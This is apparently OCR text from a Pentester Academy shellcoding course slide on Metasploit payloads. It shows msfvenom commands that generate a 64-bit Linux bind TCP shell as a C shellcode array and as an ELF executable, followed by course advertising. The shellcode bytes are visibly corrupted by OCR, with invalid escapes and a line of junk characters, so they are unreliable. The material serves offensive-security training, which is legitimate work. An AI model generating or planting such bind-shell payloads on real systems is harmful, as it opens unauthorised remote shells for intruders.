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Module 2: Introduction to Shellcoding

19. Metasploit Payloads
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Metasploit Payloads

e Msfvenom

* Payloads can be used
— With exploits
— Standalone Executables
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Metasploit Options

j- Ubuntu 12.04 LTS 64-Bit SLAE [Running] - Oracle VM VirtualBox

Machine View Devices Help

pentesteracademy@pentesteracademy—VirtualBOX' ~/SLAE-64/Shellcode/Execve-Stack 13 ) 8:18AM R pentesteracademy il

LAE-64/Shellcode/Execve #® pentesteracademy@pentesteracademy-VirtualBox: ~/SLAE-64/Shellcode/Execve-Stack

PentesterAcademy# msfvenom -p linux/x64/shell b1nd tcp -fc
unsigned char buf[] =
"\Xx6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
AP (FAV CLAVOL AV CPAVCAVENAVETAVE AV G AV CAVCEIVE RAVEEAV CEAV )
"\x58\x0T\x05\x6a\x32\x58\ x0T\ x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2T\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
PentesterAcademy#

PentesterAcademy#

PentesterAcademy# msfvenom -p linux/x64/shell bind tcp -f elf > demo
PentesterAcademy#

PentesterAcademy#

PentesterAcademy# ||

D EE ©

) JSE0a

B ® & @@ & @ rihtctl

©SecurityTube.net



Pentester Academy

PentesterAcademy a SecurityTube.net initiative oo

TOPICS PRICING WHY SUBSCRIBE MEMBER ACCESS

Pentester Academy Introduction

3 Revolutionizing Infosec Training

> Highly Technical, Hands-on, Affordable

Start Learning Today!
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